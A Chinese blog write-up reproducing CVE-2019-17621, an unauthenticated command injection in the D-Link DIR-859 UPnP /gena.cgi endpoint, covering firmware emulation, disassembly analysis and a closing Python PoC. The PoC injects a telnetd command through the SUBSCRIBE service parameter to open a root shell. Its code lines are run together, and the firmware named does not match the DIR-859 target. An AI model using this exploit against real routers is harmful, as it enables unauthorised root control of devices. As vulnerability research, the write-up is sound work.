当前位置: 首页 > news >正文

【工业安全】-CVE-2019-17621-D-Link Dir-859L 路由器远程代码执行漏洞

文章目录

1.漏洞描述

2.环境搭建

3.漏洞复现

4.漏洞分析 

    4.1:代码分析 

    4.2:流量分析

5.poc代码:


1.漏洞描述

漏洞编号:CVE-2019-17621

漏洞名称:D-Link DIR-859 命令注入漏洞

威胁等级:严重

漏洞详情:D-Link UPnP-859 Wi-Fi路由器1.05和1.06B01 Beta 01中的UPnP端点URL /gena.cgi允许未经身份验证的远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求,从而以root身份执行系统命令

影响范围:D-Link DIR-859 v1.06b01beta01及之前的版本

固件下载地址:http://www.dlink.com.cn/techsupport/download.ashx?file=3850


2.环境搭建

下载到固件之后,首先需要把固件 DIR822A1_FW103WWb03.bin模拟运行起来。

在测试虚拟机中,模拟固件用到的是 firmware-analysis-toolkit:GitHub - attify/firmware-analysis-toolkit: Toolkit to emulate firmware and analyse it for security vulnerabilitiesToolkit to emulate firmware and analyse it for security vulnerabilities - GitHub - attify/firmware-analysis-toolkit: Toolkit to emulate firmware and analyse it for security vulnerabilitieshttps://github.com/attify/firmware-analysis-toolkit也可以直接安装一台 AttifyOS 虚拟机:GitHub - adi0x90/attifyos: Attify OS - Distro for pentesting IoT devicesAttify OS - Distro for pentesting IoT devices . Contribute to adi0x90/attifyos development by creating an account on GitHub.https://github.com/adi0x90/attifyos

这个虚拟机镜像就是专门用来进行物联网 (IoT) 设备的安全评估和渗透测试的,上面预装好了各种必要的工具,比较方便,AttifyOS 3.0 基于 Ubuntu 18.04。

3.漏洞复现

在firmadyne安装目录下执行命令:

./fat.py DIR822A1_FW103WWb03.bin,

出现如下提示后按回车运行固件。

在浏览器中访问 http://192.168.0.1

使用 nmap 扫描可以发现 9999 端口被开启,运行 telnet 服务:

命令:grep -r '49152'

注:49152开启的是UPnP(通用即插即用)网络协议。

运行poc

命令:python3.8 a.py

poc执行成功后,获得了dlink的shell。

4.漏洞分析

4.1:代码分析

使用 binwalk -e 解包固件,获得文件以备后续分析:

 进入home/CVE-2019/firmadyne/_DIR822A1_FW103WWb03.bin.extracted/squashfs-root/bin目录后,我们并没有发现httpd可执行文件。

使用grep 命令搜索当前目录及其子目录下所有包含 "httpd" 字符串的文

_DIR822A1_FW103WWb03.bin.extracted/squashfs-root/etc/services/HTTP.php 文件包含了 httpd 的配置文件路径 /var/run/httpd.conf,并且有启动和停止 httpd 服务的命令。这表明该脚本可能用于管理 httpd 服务的启动和停止。

查看httpd.conf文件:

cat var/run/httpd.conf

可知/htdocs/upnp/docs/LAN-1用于存放 UPnP 服务相关的文档和资源.

进入路径/htdocs/upnp/docs/LAN-1

命令:cd /htdocs/upnp/docs/LAN-1

ls -al

注意漏洞通告中:

The UPnP endpoint URL /gena.cgi in the D-Link DIR-859 Wi-Fi router 1.05 and 1.06B01 Beta01 allows an Unauthenticated remote attacker to execute system commands as root

能够定位漏洞位于/htdocs/cgibin

ida分析/htdocs/cgibin

通过查找关键词”gena”我们发现调用gena.cgi的genacgi_main函数

反汇编可知此函数的作用是处理一个简单的 CGI (通用网关接口) 请求

首先检查请求方法和请求 URI 是否有效。

然后检查请求 URI 是否包含 ?service=,并获取服务名称。

根据请求方法(SUBSCRIBE 或 UNSUBSCRIBE)的不同,调用相应的处理函数(sub_40FCE0或sub_4100EC)

注意漏洞通告中:

远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求。

跟进分析请求方法SUBSCRIBE调用的处理函数sub_40FCE0:

反汇编可知此函数的作用是用于 UPnP (通用即插即用) 服务,处理一个订阅请求。

这段代码主要是调用 xmldbc_ephp 函数来执行命令

分析xmldbc_ephp

它是一个包装器函数,用于调用另一个函数 sub_414FB8

跟进sub_414FB8函数

1. sub_4140BC 函数,获取一个文件描述符或类似资源。

2.如果获取成功,sub_4140BC 函数会调用 sub_41490C 函数进行进一步的操作。

跟进sub_41490C 函数:

sub_41490C 处理文件描述符读取和数据处理的函数。

3.如果 sub_41490C 确保成功,它会调用 sub_4146C8 函数进行最终操作。

sub_4146C8 函数作用是等待文件描述符流的状态变化,然后读取数据并调用 sub_41460C 函数。

sub_41460C 函数中fwrite 函数被用来将 a1 指向的内存区域中的数据写入到文件流中。

而a1内存区域中的数据在sub_4140BC就有定义

a1 在这个函数中主要用于:

可知脚本文件的路径run.NOTIFY.php中。

分析run.NOTIFY.php:

这段代码用于处理 UPnP 设备的事件订阅请求,根据不同的服务类型(GENA_subscribe_new 或者GENA_subscribe_sid)执行相应的操作。

内容定义在了/htdocs/upnpinc/gena.php中。

其中引入多个变量。

$shell_file 变量没有经过适当的清理转义,这允许攻击者通过在 URL 参数中注入恶意代码来控制 fwrite 函数写入的内容。

已知:49152端口开启的是UPnP(通用即插即用)网络协议。

我们可以构造如下请求:

http://<router-ip>:49152/gena.cgi?service=`$shell_file+命令 /`

验证命令注入漏洞。

4.2:流量分析 

UPnP端点URL /gena.cgi允许未经身份验证的远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求,从而以root身份执行系统命令。

5.poc代码:

代码复现时路由器ip:192.168.0.1

#!/usr/bin/python3import socket
import os
from time import sleepdef httpSUB(server, port, shell_file):print('\n[*] Connection {host}:{port}'.format(host=server, port=port))con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)request  = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"request += "Host: " + str(server) + str(port) + "\n"request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"request += "NT: upnp:event\n"request += "Timeout: Second-1800\n"request += "Accept-Encoding: gzip, deflate\n"request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"print('[*] Sending Payload')sleep(1)con.connect((socket.gethostbyname(server), port))con.send(request.encode())results = con.recv(4096)print('[*] Running Telnetd Service')sleep(2)print('[*] Opening Telnet Connection\n')os.system('telnet ' + str(server) + ' 9999')serverInput = "192.168.0.1"
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')

poc执行成功后,获得了dlink的shell。

相关文章:

【工业安全】-CVE-2019-17621-D-Link Dir-859L 路由器远程代码执行漏洞

文章目录 1.漏洞描述 2.环境搭建 3.漏洞复现 4.漏洞分析  4.1&#xff1a;代码分析  4.2&#xff1a;流量分析 5.poc代码&#xff1a; 1.漏洞描述 漏洞编号&#xff1a;CVE-2019-17621 漏洞名称&#xff1a;D-Link DIR-859 命令注入漏洞 威胁等级&#xff1a;严重 漏洞详…...

FastExcel + Java:打造高效灵活的Excel数据导入导出解决方案

作者&#xff1a;后端小肥肠 &#x1f347; 我写过的文章中的相关代码放到了gitee&#xff0c;地址&#xff1a;xfc-fdw-cloud: 公共解决方案 &#x1f34a; 有疑问可私信或评论区联系我。 &#x1f951; 创作不易未经允许严禁转载。 姊妹篇&#xff1a; 基于AOP的数据字典实现…...

fun-transformer学习笔记-Task1——Transformer、Seq2Seq、Encoder-Decoder、Attention之间的关系

Transformer、Seq2Seq、Encoder-Decoder、Attention由这四者之间的关系可以从模型架构的发展脉络来理解&#xff1a; Seq2Seq 与 Encoder–Decoder 模型 “Seq2Seq”&#xff08;sequence‐to‐sequence&#xff09;是一类用于将一个变长序列映射为另一个变长序列的任务&#x…...

使用Hexo部署NexT主体网站

一.使用git提交文件 参考&#xff1a; 从零开始搭建个人博客&#xff08;超详细&#xff09; - 知乎 致谢&#xff01; 第一种&#xff1a;本地没有 git 仓库 直接将远程仓库 clone 到本地&#xff1b;将文件添加并 commit 到本地仓库&#xff1b;将本地仓库的内容push到远程仓…...

图书管理项目(spring boot + Vue)

想要该项目的话&#xff0c;就 jia 我&#xff0c;并在评论区给我说一下&#xff0c;只需要1元&#xff0c;我把整个项目发给你 jia微&#xff1a;18439421203&#xff08;名字叫&#xff1a;Bingo&#xff09; 运行图片&#xff1a;...

python实现常见数学概率分布

常见正态分布 1.贝塔分布1.1 概率密度函数1.2参数对分布形状的影响1.3 应用场景1.4 python实现 2. 帕累托分布&#xff08;80/20法则&#xff09;3. 正态分布&#xff08;高斯分布&#xff09;3.1 正态分布对应性质3.2 正态分布对应图像![在这里插入图片描述](https://i-blog.c…...

解决Blender无法识别Num关闭状态下的笔记本数字键盘中Home键、End键问题

问题描述&#xff1a; 在笔记本电脑上&#xff0c;多少会缺少一些按钮&#xff0c;例如“Home”、“End”、“PgUp”、“PgDn”&#xff0c;它们在笔记本电脑上的作用是&#xff0c;如果关闭Num&#xff0c;则可以从数字键盘访问这些按钮。但问题是在Blender中&#xff0c;不论…...

React 高级教程

使用 React 高级组件&#xff08;HOC&#xff09;实现的完整项目示例&#xff0c;包含权限控制、数据加载状态处理、性能优化等常见高级功能。创建一个简单的博客系统: // 项目结构&#xff1a; src/ |-- components/ | |-- ArticleList.jsx | |-- Article.jsx | |-- He…...

基于Qt 和微信小程序的用户管理系统:WebSocket + SQLite 实现注册与登录

目录 一. 概要 二. 技术栈 三. 系统功能设计 3.1 功能模块 3.2 数据表设计 四. 具体实现 4.1 Qt 服务端 4.1.1 初始化 WebSocket 服务器 4.1.2 用户管理界面 4.2 微信小程序端 4.2.1 注册功能 4.2.2 登录功能 五. 运行效果 六. 源码下载 一. 概要 在物联网和智能设备…...

在CT107D单片机综合训练平台上实现外部中断控制LED闪烁

引言 在单片机开发中&#xff0c;外部中断是一个非常重要的功能&#xff0c;它可以让单片机在检测到外部信号变化时立即做出响应。本文将详细介绍如何在CT107D单片机综合训练平台上使用外部中断来控制LED灯的闪烁。我们将使用两种不同的方式来实现这一功能&#xff1a;一种是在…...

HTML之JavaScript使用JSON

HTML之JavaScript使用JSON JSON(JavaScript Object Notation)是一种轻量级的数据交换格式&#xff0c;易于人阅读和编写&#xff0c;同时也易于机器解析和生成。JSON是JavaScript对象的字符串表示法&#xff0c;它使用文本表示一个js对象的信息&#xff0c;可以将json字符串转换…...

算法很美笔记(Java)——树

性质 树 上面的性质因为两个结点由一条边连成 结点数目越多&#xff0c;算法复杂度越高 二叉树 结构 层次遍历 利用队列&#xff0c;弹一个&#xff0c;加N个&#xff08;队列里弹出一个元素&#xff0c;就把这个元素的所有孩子加进去&#xff09; 具体来说&#xff1a;指…...

SQL面试题4:相互关注问题

引言 在社交媒体和各类社区平台蓬勃发展的当下&#xff0c;用户之间的关系网络成为了平台运营和数据分析的关键部分。相互关注作为一种重要的社交关系&#xff0c;不仅反映了用户之间的紧密程度&#xff0c;还对平台的社交生态、内容传播等方面有着深远影响。本文将聚焦于 SQL…...

ArcGIS基础知识之ArcMap基础设置——ArcMap选项:常规选项卡设置及作用

作为一名 GIS 从业者,ArcMap 是我们日常工作中不可或缺的工具。对于初学者来说,掌握 ArcMap 的基础设置是迈向 GIS 分析与制图的第一步。今天,就让我们一起深入了解 ArcMap 选项中常规选项卡的各个设置,帮助大家更好地使用这款强大的软件。 在 ArcMap 中,常规选项卡是用户…...

jvm 线程监控调试

文章目录 前言一、使用JDK工具转储线程文件(如jstack)1. 找到Java进程的PID:2. 使用jstack生成线程转储文件:3.验证生成的线程转储文件:二、分析文件1.使用在线工具进行分析上传thread-dump文件,等待解析完成2.查看分析结果总结前言 提示:使用jdk自带工具转储线程监控文…...

25、深度学习-自学之路-卷积神经网络基于MNIST数据集的程序展示

import keras #添加Keraskuimport sys,numpy as np from keras.utils import np_utilsimport osfrom keras.datasets import mnist print("licheng&#xff1a;""20"\n) np.random.seed(1)(x_train,y_train),(x_test,y_test) mnist.load_data() #第一次…...

【C++】解锁<list>的正确姿势

> &#x1f343; 本系列为初阶C的内容&#xff0c;如果感兴趣&#xff0c;欢迎订阅&#x1f6a9; > &#x1f38a;个人主页:[小编的个人主页])小编的个人主页 > &#x1f380; &#x1f389;欢迎大家点赞&#x1f44d;收藏⭐文章 > ✌️ &#x1f91e; &#x1…...

Qt中的事件

写一个 可以拖动的按钮 DraggablePushButton.h 头文件 #ifndef DRAGGABLEPUSHBUTTON_H #define DRAGGABLEPUSHBUTTON_H#include <QPushButton> #include <QMouseEvent>class DraggablePushButton : public QPushButton {Q_OBJECTpublic:explicit DraggablePushBu…...

变化检测相关论文可读list

一些用得上的&#xff1a; 遥感变化检测常见数据集https://github.com/rsdler/Remote-Sensing-Change-Detection-Dataset/ 代码解读&#xff1a;代码解读 | 极简代码遥感语义分割&#xff0c;结合GDAL从零实现&#xff0c;以U-Net和建筑物提取为例 NeurIPS2024: https://mp.w…...

Ansible中playbook的变量

变量 playbook的变量有以下几种 在playbook中用户自定义的变量远程主机中由Ansible收集的变量在文件模板中使用的上述两种变量把任务结果作为一个变量使用&#xff0c;叫注册变量用户在执行playbook时&#xff0c;通过命令行传入的变量&#xff0c;叫做额外变量 在playbook中…...

Lombok 的 @Data 注解失效,未生成 getter/setter 方法引发的HTTP 406 错误

HTTP 状态码 406 (Not Acceptable) 和 500 (Internal Server Error) 是两类完全不同的错误&#xff0c;它们的含义、原因和解决方法都有显著区别。以下是详细对比&#xff1a; 1. HTTP 406 (Not Acceptable) 含义&#xff1a; 客户端请求的内容类型与服务器支持的内容类型不匹…...

反向工程与模型迁移:打造未来商品详情API的可持续创新体系

在电商行业蓬勃发展的当下&#xff0c;商品详情API作为连接电商平台与开发者、商家及用户的关键纽带&#xff0c;其重要性日益凸显。传统商品详情API主要聚焦于商品基本信息&#xff08;如名称、价格、库存等&#xff09;的获取与展示&#xff0c;已难以满足市场对个性化、智能…...

【WiFi帧结构】

文章目录 帧结构MAC头部管理帧 帧结构 Wi-Fi的帧分为三部分组成&#xff1a;MAC头部frame bodyFCS&#xff0c;其中MAC是固定格式的&#xff0c;frame body是可变长度。 MAC头部有frame control&#xff0c;duration&#xff0c;address1&#xff0c;address2&#xff0c;addre…...

【机器视觉】单目测距——运动结构恢复

ps&#xff1a;图是随便找的&#xff0c;为了凑个封面 前言 在前面对光流法进行进一步改进&#xff0c;希望将2D光流推广至3D场景流时&#xff0c;发现2D转3D过程中存在尺度歧义问题&#xff0c;需要补全摄像头拍摄图像中缺失的深度信息&#xff0c;否则解空间不收敛&#xf…...

376. Wiggle Subsequence

376. Wiggle Subsequence 代码 class Solution { public:int wiggleMaxLength(vector<int>& nums) {int n nums.size();int res 1;int prediff 0;int curdiff 0;for(int i 0;i < n-1;i){curdiff nums[i1] - nums[i];if( (prediff > 0 && curdif…...

Java - Mysql数据类型对应

Mysql数据类型java数据类型备注整型INT/INTEGERint / java.lang.Integer–BIGINTlong/java.lang.Long–––浮点型FLOATfloat/java.lang.FloatDOUBLEdouble/java.lang.Double–DECIMAL/NUMERICjava.math.BigDecimal字符串型CHARjava.lang.String固定长度字符串VARCHARjava.lang…...

【OSG学习笔记】Day 16: 骨骼动画与蒙皮(osgAnimation)

骨骼动画基础 骨骼动画是 3D 计算机图形中常用的技术&#xff0c;它通过以下两个主要组件实现角色动画。 骨骼系统 (Skeleton)&#xff1a;由层级结构的骨头组成&#xff0c;类似于人体骨骼蒙皮 (Mesh Skinning)&#xff1a;将模型网格顶点绑定到骨骼上&#xff0c;使骨骼移动…...

Pinocchio 库详解及其在足式机器人上的应用

Pinocchio 库详解及其在足式机器人上的应用 Pinocchio (Pinocchio is not only a nose) 是一个开源的 C 库&#xff0c;专门用于快速计算机器人模型的正向运动学、逆向运动学、雅可比矩阵、动力学和动力学导数。它主要关注效率和准确性&#xff0c;并提供了一个通用的框架&…...

音视频——I2S 协议详解

I2S 协议详解 I2S (Inter-IC Sound) 协议是一种串行总线协议&#xff0c;专门用于在数字音频设备之间传输数字音频数据。它由飞利浦&#xff08;Philips&#xff09;公司开发&#xff0c;以其简单、高效和广泛的兼容性而闻名。 1. 信号线 I2S 协议通常使用三根或四根信号线&a…...

处理vxe-table 表尾数据是单独一个接口,表格tableData数据更新后,需要点击两下,表尾才是正确的

修改bug思路&#xff1a; 分别把 tabledata 和 表尾相关数据 console.log() 发现 更新数据先后顺序不对 settimeout延迟查询表格接口 ——测试可行 升级↑&#xff1a;async await 等接口返回后再开始下一个接口查询 ________________________________________________________…...